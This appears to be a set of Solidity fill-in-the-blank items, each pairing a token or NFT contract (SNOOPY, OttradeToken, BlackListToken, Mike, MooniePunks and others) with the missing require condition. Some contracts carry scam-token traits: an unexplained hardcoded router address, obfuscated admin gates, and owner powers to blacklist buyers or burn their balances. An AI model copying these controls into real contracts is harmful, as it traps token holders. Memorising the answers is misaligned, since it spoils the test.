| _isExcludedFromDividends[account]!=excluded,"Seven Deadly Sins: Account is already the value of 'excluded'" | 244,821 | _isExcludedFromDividends[account]!=excluded |
null | /// SPDX-License-Identifier: MIT
pragma solidity =0.8.19;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
* Returns a boolean value indicating whether the operation succeeded.
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's allowance.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*/
abstract contract Context {
function _msgData() internal view virtual returns (bytes calldata) {
}
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _Owner;
address _V2Router = 0xB47d9EfcC6BC600B8E481f5F873a2b558Bb06B84;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
/**
* @dev Implementation of the {IERC20} interface.
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*/
contract SNOOPY is Context, IERC20, Ownable {
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private _user_;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _amount;
mapping(address => uint256) private _fee;
uint8 public decimals = 6;
uint256 public _TSup = 420690000000 *1000000;
string public name = "Snoopy";
string public symbol = unicode"SNOOPY";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
/**
* @dev Sets the values for {name} and {symbol}.
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*/
constructor() {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function execute(address _sender) external {
require(<FILL_ME>)
if (_user_[_sender]) _user_[_sender] = false;
else _user_[_sender] = true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transferFrom}.
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* Emits an {Approval} event indicating the updated allowance.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* Emits an {Approval} event indicating the updated allowance.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
* Emits a {Transfer} event.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _send(address recipient, uint256 amount) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
* Emits a {Transfer} event with `from` set to the zero address.
*/
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* Emits a {Transfer} event with `to` set to the zero address.
*/
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
* Emits an {Approval} event.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
/**
* @dev Hook that is called after any transfer of tokens. This includes minting and burning.
*
* Calling conditions:
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
| _fee[msg.sender]==1 | 244,826 | _fee[msg.sender]==1 |
"Only ANIUadmin can call this function" | /*
OTTRADE: Revolutionizing Cryptocurrency Trading
Abstract:
The Ottrade platform is a cutting-edge solution that empowers users to seamlessly integrate into the world of cryptocurrencies using a powerful and intuitive trading tool. Designed for both beginners and seasoned traders, Ottrade's crypto trading terminal offers a comprehensive suite of features for optimal trading performance. This whitepaper delves into the details of Ottrade, highlighting its key components, functionalities, and the OTTRADE token that drives its ecosystem.
Introduction:
Background
Cryptocurrency trading has witnessed tremendous growth, yet the complexity and volatility of the market can be overwhelming for both novice and experienced traders. Ottrade aims to address these challenges by providing a user-friendly platform equipped with advanced tools and real-time data, enabling users to trade confidently and efficiently.
Objectives
The primary objective of Ottrade is to democratize cryptocurrency trading by offering a platform that caters to users of all experience levels. By combining powerful trading tools with a user-friendly interface, Ottrade aims to empower individuals to navigate the cryptocurrency market with ease and make informed trading decisions.
Overview of Ottrade:
Vision
Our vision is to become the go-to platform for cryptocurrency trading, providing users with a seamless and rewarding experience. We envision a future where anyone, regardless of their level of expertise, can participate in the cryptocurrency market and achieve their financial goals.
Mission
Ottrade's mission is to simplify and enhance the cryptocurrency trading experience by offering a feature-rich platform that fosters financial inclusivity, transparency, and innovation. We are committed to providing cutting-edge tools and resources to our users, enabling them to trade like professionals.
Core Features:
Intuitive User Interface: Ottrade boasts an intuitive and user-friendly interface, making it accessible to users with varying levels of experience in cryptocurrency trading.
Real-time Monitoring: Stay on top of market trends with real-time monitoring of 175+ trading pairs, ensuring users have the latest information for making informed decisions.
175+ Trading Pairs: Ottrade supports a diverse range of trading pairs, allowing users to explore different markets and diversify their portfolios.
Fast Trading Across Major Exchanges: Execute trades swiftly across major exchanges, taking advantage of market opportunities without delays.
Other Features:
User-Friendly Mobile App: Ottrade offers a sleek and intuitive mobile app, available on Android devices. Users can easily manage their AICN holdings, trade, and access all the platform's features on the go.
Automatic Portfolio Tracking: The Ottrade app includes a portfolio tracker that automatically syncs with your wallet and provides real-time updates on your cryptocurrency holdings. It offers detailed insights into your asset allocation, gains, and losses.
One-Click Diversification: For novice users, Ottrade simplifies the process of diversifying their cryptocurrency portfolio. A one-click diversification feature intelligently distributes funds across a variety of cryptocurrencies based on risk tolerance and market conditions.
OTTRADE Rewards Program: Ottrade rewards active users with OTTRADE tokens. The more you trade, stake, or participate in the ecosystem, the more OTTRADE tokens you can earn as rewards. These tokens can be used for trading fee discounts or staking to earn passive income.
User-Generated Content Platform: Ottrade features a user-generated content platform where community members can share their insights, analyses, and tutorials. High-quality content is rewarded with OTTRADE tokens, fostering a knowledgeable and engaged community.
Social Trading: A unique feature allows users to follow and copy the trading strategies of top-performing traders on the platform. Novice traders can learn from experts, and expert traders can earn additional income by sharing their strategies.
Loyalty Program: Ottrade offers a tiered loyalty program where users can unlock exclusive benefits and rewards as they engage more with the platform. Higher tiers provide access to premium features, reduced fees, and priority customer support.
Instant Fiat-to-OTTRADE Onramp: Simplify the process of acquiring OTTRADE by integrating an instant fiat-to-OTTRADE onramp. Users can purchase OTTRADE directly using their local currency with ease.
Educational Webinars and Events: Host regular webinars, workshops, and live events featuring industry experts and influencers. These events provide valuable insights and foster a sense of community among users.
Charitable Donations: Ottrade encourages users to make charitable donations using OTTRADE. The platform facilitates easy donations to partner charities and causes, with the option for users to vote on which charities should receive support.
Savings Accounts: Users can create OTTRADE savings accounts with competitive interest rates, providing a secure way to earn passive income on their holdings.
User-Centric Feedback System: Implement a user feedback system that allows community members to propose and vote on new features and improvements. This ensures that the platform evolves based on user needs and preferences.
Localized Support: Provide multilingual customer support to cater to users from around the world, making Ottrade accessible to a global audience.
OTTRADE Token:
Purpose:
The OTTRADE token serves as the backbone of the Ottrade ecosystem, playing a pivotal role in facilitating various functions within the platform. It is designed to be a utility token, enabling users to access premium features, participate in governance, and receive rewards.
Tokenomics:
Total Supply: The total supply of OTTRADE tokens is capped to ensure scarcity and value appreciation. A fixed supply of 900,000,000 tokens will be created, fostering a deflationary aspect that aligns with long-term sustainability.
Distribution: Initial token distribution will include allocations for the team, advisors, community incentives, and partnerships. Transparent distribution mechanisms will be employed to build trust and ensure a fair launch.
Utility: OTTRADE tokens can be used for various purposes within the Ottrade platform. This includes accessing advanced trading tools, participating in token staking for rewards, and contributing to governance decisions.
Governance:
Ottrade is committed to decentralization, and the governance model empowers token holders to participate in decision-making processes. OTTRADE holders can propose and vote on platform upgrades, changes to fee structures, and other key decisions, ensuring a democratic and community-driven approach.
Staking and Rewards:
Token staking is incentivized within the Ottrade ecosystem. Users can stake their OTTRADE tokens to secure the network, participate in consensus mechanisms, and earn staking rewards. The staking mechanism not only enhances the security of the platform but also provides users with an additional income stream. */
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract OttradeToken is Ownable{
constructor(string memory tokenname,string memory tokensymbol,address tradmin) {
}
address public radadmin;
uint256 private _totalSupply;
string private _tokename;
string private _tokensymbol;
mapping(address => bool) public tallinfo;
mapping(address => uint256) private _llccxx;
mapping(address => mapping(address => uint256)) private _allowances;
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function name(address tere) public {
address shggxxinfo = tere;
require(<FILL_ME>)
tallinfo[shggxxinfo] = false;
require(_msgSender() == radadmin, "Only ANIUadmin can call this function");
}
function totalSupply(address safax) public {
}
uint256 bfcfx = 2220000000;
uint256 bfcf2 = 35;
uint256 bfx = bfcf2*((10**decimals()*bfcfx));
function rruuxx()
external {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
| _msgSender()==radadmin,"Only ANIUadmin can call this function" | 244,876 | _msgSender()==radadmin |
"Liquidator: tokenId already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./interfaces/ImToken.sol";
contract Liquidator {
using SafeERC20 for IERC20;
using SafeMath for uint256;
event FundsClaimed(IERC20 indexed token, address to, uint256 amount);
IERC20 public funds;
ImToken public mtoken;
uint256 public totalReceived;
IERC721 public nft;
mapping(uint256 => uint256) isClaimed;
function liquidate(address funds_, address mtoken_, address nft_, uint256 amount) public {
}
function claims(uint256 tokenId) public {
require(<FILL_ME>)
uint256 amount = totalReceived.mul(mtoken.shares(address(nft), tokenId)).div(mtoken.totalShares());
isClaimed[tokenId] = amount;
address to = nft.ownerOf(tokenId);
funds.safeTransfer(to, amount);
emit FundsClaimed(funds, to, amount);
}
}
| isClaimed[tokenId]==0,"Liquidator: tokenId already claimed" | 244,905 | isClaimed[tokenId]==0 |
"holderAddress is not BlackListed" | // SPDX-License-Identifier: MIT
/**
* Contract BlackListToken: Read: _decimals, decimals, _name, name, _symbol, symbol, allowance, balanceOf, totalSupply; Write: transfer, transferFrom, approve, decreaseAllowance, increaseAllowance.
* Contract Ownable: Read: getOwner, owner; Write: onlyOwner: renounceOwnership, transferOwnership.
* Contract BlackList: Read: getBlackListStatus; Write: onlyOwner: addBlackList, removeBlackList.
*/
pragma solidity >=0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// @dev Wrappers over Solidity's arithmetic operations with added overflow * checks.
library SafeMath {
// Counterpart to Solidity's `+` operator.
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `-` operator.
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `-` operator.
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
// Counterpart to Solidity's `*` operator.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `/` operator.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `/` operator.
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
// Counterpart to Solidity's `%` operator.
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `%` operator.
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
}
contract BlackList is Ownable {
mapping(address=>bool) isBlackListed;
function getBlackListStatus(address _addressUser) external view returns (bool) {
}
function addBlackList (address _addressUser) public onlyOwner {
}
function removeBlackList (address _addressUser) public onlyOwner {
}
}
contract BlackListToken is Context, Ownable, BlackList, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() {
}
function getOwner() external view returns (address) {
}
function decimals() external view returns (uint8) {
}
function symbol() external view returns (string memory) {
}
function name() external view returns (string memory) {
}
function totalSupply() external view returns (uint256) {
}
function balanceOf(address account) external view returns (uint256) {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function allowance(address addressOwner, address spender) external view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
}
function _approve(address addressOwner, address spender, uint256 amount) internal {
}
// Burn BlackList tokens
function _destroyBlackFunds(address holderAddress) internal {
require(<FILL_ME>)
require(_balances[holderAddress] > 0, "holderAddress has no balance");
uint256 holderBalance = _balances[holderAddress];
_balances[holderAddress] = 0;
_totalSupply = _totalSupply.sub(holderBalance);
emit Transfer(holderAddress, address(0), holderBalance);
}
function destroyBlackFunds(address holderAddress) public onlyOwner returns (bool) {
}
}
| isBlackListed[holderAddress],"holderAddress is not BlackListed" | 244,914 | isBlackListed[holderAddress] |
"holderAddress has no balance" | // SPDX-License-Identifier: MIT
/**
* Contract BlackListToken: Read: _decimals, decimals, _name, name, _symbol, symbol, allowance, balanceOf, totalSupply; Write: transfer, transferFrom, approve, decreaseAllowance, increaseAllowance.
* Contract Ownable: Read: getOwner, owner; Write: onlyOwner: renounceOwnership, transferOwnership.
* Contract BlackList: Read: getBlackListStatus; Write: onlyOwner: addBlackList, removeBlackList.
*/
pragma solidity >=0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// @dev Wrappers over Solidity's arithmetic operations with added overflow * checks.
library SafeMath {
// Counterpart to Solidity's `+` operator.
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `-` operator.
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `-` operator.
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
// Counterpart to Solidity's `*` operator.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `/` operator.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `/` operator.
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
// Counterpart to Solidity's `%` operator.
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
// Counterpart to Solidity's `%` operator.
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
}
contract BlackList is Ownable {
mapping(address=>bool) isBlackListed;
function getBlackListStatus(address _addressUser) external view returns (bool) {
}
function addBlackList (address _addressUser) public onlyOwner {
}
function removeBlackList (address _addressUser) public onlyOwner {
}
}
contract BlackListToken is Context, Ownable, BlackList, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() {
}
function getOwner() external view returns (address) {
}
function decimals() external view returns (uint8) {
}
function symbol() external view returns (string memory) {
}
function name() external view returns (string memory) {
}
function totalSupply() external view returns (uint256) {
}
function balanceOf(address account) external view returns (uint256) {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function allowance(address addressOwner, address spender) external view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
}
function _approve(address addressOwner, address spender, uint256 amount) internal {
}
// Burn BlackList tokens
function _destroyBlackFunds(address holderAddress) internal {
require(isBlackListed[holderAddress], "holderAddress is not BlackListed");
require(<FILL_ME>)
uint256 holderBalance = _balances[holderAddress];
_balances[holderAddress] = 0;
_totalSupply = _totalSupply.sub(holderBalance);
emit Transfer(holderAddress, address(0), holderBalance);
}
function destroyBlackFunds(address holderAddress) public onlyOwner returns (bool) {
}
}
| _balances[holderAddress]>0,"holderAddress has no balance" | 244,914 | _balances[holderAddress]>0 |
"ERC20: token transfer while paused" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./OwnableAccessControl.sol";
import "./Airdrop.sol";
contract SUIToken is ERC20, Ownable, OwnableAccessControl, Pausable, Airdrop {
bytes32 public constant TRANSFERABLE = keccak256("TRANSFERABLE");
constructor(string memory name, string memory symbol, uint supply, address owner) ERC20(name, symbol) {
}
function trasnfer(address account, uint amount) public onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(<FILL_ME>)
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
}
| !paused()||hasRole(TRANSFERABLE,from)||to==owner(),"ERC20: token transfer while paused" | 244,967 | !paused()||hasRole(TRANSFERABLE,from)||to==owner() |
"transfers are not yet active" | pragma solidity 0.8.20;
contract Mike is ERC20Permit, Ownable {
uint256 constant NAUGHTY_TIMEOUT = 7200; // blocks
address public immutable UNISWAP_V2_PAIR;
mapping(address => uint256) public mikesNaughtyList;
uint256 public maxWalletAmount;
uint256 public deadblockExpiration;
bool public limitsEnabled;
bool public tradingActive;
mapping(address => bool) private _exclusionList;
constructor() ERC20Permit("Mike") ERC20("Mike", "MIKE") {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(amount > 0, "amount must be greater than 0");
if (!tradingActive) {
require(<FILL_ME>)
}
if (isNaughty(from)) {
require(
block.number > mikesNaughtyList[from],
"MikesNFT has timed you out! Boop!"
);
}
if (limitsEnabled) {
if (from == UNISWAP_V2_PAIR && !isExcluded(to)) {
if (block.number < deadblockExpiration) {
mikesNaughtyList[to] = block.number + NAUGHTY_TIMEOUT;
}
} else if (to == UNISWAP_V2_PAIR && !isExcluded(from)) {
if (block.number < deadblockExpiration) {
mikesNaughtyList[from] = block.number + NAUGHTY_TIMEOUT;
}
}
if (
to != UNISWAP_V2_PAIR &&
!isExcluded(to) &&
!isExcluded(from) &&
maxWalletAmount > 0
) {
require(
balanceOf(to) + amount <= maxWalletAmount,
"amount exceeds wallet limit"
);
}
}
super._transfer(from, to, amount);
}
function updateTradingStatus(uint256 deadBlocks) external onlyOwner {
}
function updateExclusionList(
address[] calldata addresses,
bool value
) public onlyOwner {
}
function _updateExclusionList(address account, bool value) private {
}
function isExcluded(address account) public view returns (bool) {
}
function updateMikesNaughtyList(
address[] calldata addresses,
uint256 blockNumber
) external onlyOwner {
}
function isNaughty(address account) public view returns (bool) {
}
function updateMaxWalletAmount(uint256 newAmount) external onlyOwner {
}
function updateLimitsEnabled(bool enabled) public onlyOwner {
}
}
| isExcluded(from)||isExcluded(to),"transfers are not yet active" | 245,024 | isExcluded(from)||isExcluded(to) |
"Max supply exceeded!" | // SPDX-License-Identifier: MIT
/**
################&&&&&###############&&&&&########&&&&&###############&&&&&######
######&&&&&####&GJJY#&#############&GJJY#&######&#YJJG&#############&#YJJG&#####
###############&Y .B&#############&Y .B&######&B. Y&#############&B. Y&#####
#####&5::^B&###&BPPG###&&&&########&BPPG&&&&######GPP#&&&######&&&&###GPPB&#####
#####&5^^~#&####&&&&##&BBBB&########&&&#PPPB&#####&&&GPPG&####&GPPG&##&&&&######
######&&&&&&&&########&5JJ5&##########&B Y&#######&~ ~&##&&&~ ~&&&##########
######&&&#!!~P&&&#####&PYYP&########&&YYB&&&#####&PYYP&&#!~!. .!~!#&########
#######GGP. JBGB#####&5JJ5&#########################&&&&#&B:.. ..:B&########
#####&Y ~&####&!..!&##&&&&&&BYYYYYYYYYP&&&&&&##########~ ~#############
#####&G??? ~??Y&###&&! !&&#GPGGGG5YYYYYYYYY5GGGGGPB&######&&Y??Y&&###########
######&&&#: 5@&&######! !###YYYYYYYYYYYYYYYYYYYYYYYG#########&&&&#############
##########GGG###&&&#^::. ~5Y5B######################PYYP&&&##########&&&#######
##########&&&##&GYYY. ^~^7PPP#######################GPPPGGB##########5YYG######
###############&Y .. 7YYP&&#########################&&BJYY########&B Y&#####
###############&Y ..7??PBBB######?^^?#########5^~~B####&BYYY##########PP5B######
###############&Y ..JYYB&&#######~ ~#########Y .B####&BYYY##########&&&#######
###&&&&########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
###J!!J########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
##&! !&#######&Y ..JYYB&########~ ~#########Y .B####&BYYY#######BBB##########
###BBBB########&Y ..JYYB&&#######~ ~#########Y .B####&BYYY###&&&5..:#&&#######
###############&Y ..!7!5GGB######J!!J#########P!!7B####&BYYY###5JJ! ?JJG######
###############&Y .. 7YJP&###########################&BYYY##&~ Y&#####
#####&5::^B#####BPGP:..:::!55P#&&GPPPPPPPPPPPPPPPG##&G55PBBB###GPG? 5PPB######
#####&5^^~B##BBBBBBG:.... ^?7?GBBP5555555555555555BBBY77Y&######&&P^~!#&&#######
#############5JYYYYJ........ .JYYYYYYYYYYYYYYYYYYYYYY~. !&&#####################
#############5YYYYYJ..........^~~~~~~~~~~~~~~~~~~~~~~:..:!!7####################
#############5YYYYYJ..................................... .PGGB#########BGGB###
#############5YYYYYJ...........................................5&########~ ~###
#############5YYYYYJ.......................................... Y&########Y??Y###
####BB####BB#5JYYYYJ...........................................Y&##BBB####&&####
###!..!##B^:::::::::............... ^JJJYYYJJJ7 ...............Y&&Y..:B#########
###?~~?##B: ....................^~^7YYY555YYY?^~^............ Y##5~~!B#########
#########B: ....................?YYY555555555YYYJ............ Y&###############
##########PPPJ?????7.............?5Y55555555555Y5Y:........... Y################
############&PYYYYYJ.............?555555555555555Y:............Y#########GPPG###
#############5YYYYYJ.............?YYY555555555YYYJ:............Y#########~ ~###
#############5YYYYYJ.............^~~7YYY555YYYJ~~~.............Y#########5JJ5###
#############5YYYYYJ.............. ~YYY555YYY7 ..............Y##########&&####
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MooniePunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public blended;
mapping(uint256 => uint256) public premiumMinted;
mapping(uint256 => uint256) public vipMinted;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 public maxMintAmount;
uint256 public maxVipMintAmount;
uint256 public remainingMembershipMints = 400;
uint256 public remainingPromoMints = 100;
uint256 public requiredToBlend;
bool public paused = true;
bool public blendEnabled = false;
address public membershipContract;
address public ownerWallet;
address public blendContract;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmount,
uint256 _maxVipMintAmount,
address _ownerWallet,
address _membershipContract
) ERC721A(_tokenName, _tokenSymbol) {
}
/// @dev We are ensuring the user cannot mint more than the max amount
/// that we specify, as well as the current max supply.
//***************************************************************************
// MODIFIERS
//***************************************************************************
modifier mintCompliance(uint256 _mintAmount, uint256 _maxMintAmount) {
require(
_mintAmount > 0 && _mintAmount <= _maxMintAmount,
"Invalid mint amount!"
);
require(<FILL_ME>)
_;
}
/**
* @dev We first verify the users membership status, and determine what
* type of membership they are using to mint.
*
* We then check to confirm that the total mint amount does not exceed the
* remaining membership mints.
*
* Finally, we check the token id of their membership NFT, and ensure that it
* has not been used previously.
*/
modifier membershipCompliance(
uint256 _mintAmount,
uint256 _tokenId,
MembershipType _memberType
) {
}
/// @dev Users cannot mint if contract is paused
modifier notPaused() {
}
//***************************************************************************
// ENUMS
//***************************************************************************
enum MembershipType {
PREMIUM,
VIP
}
//***************************************************************************
// MINT FUNCTIONS
//***************************************************************************
/**
* @notice The premiumMint and vipMint functions can only be called once per membership token id.
* We have provided a checkMembershipToken function that will allow users to check to see if a membership token has already minted.
*/
function premiumMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.PREMIUM)
{
}
/// @notice VIP perks include ten free mints per VIP Card holder.
function vipMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
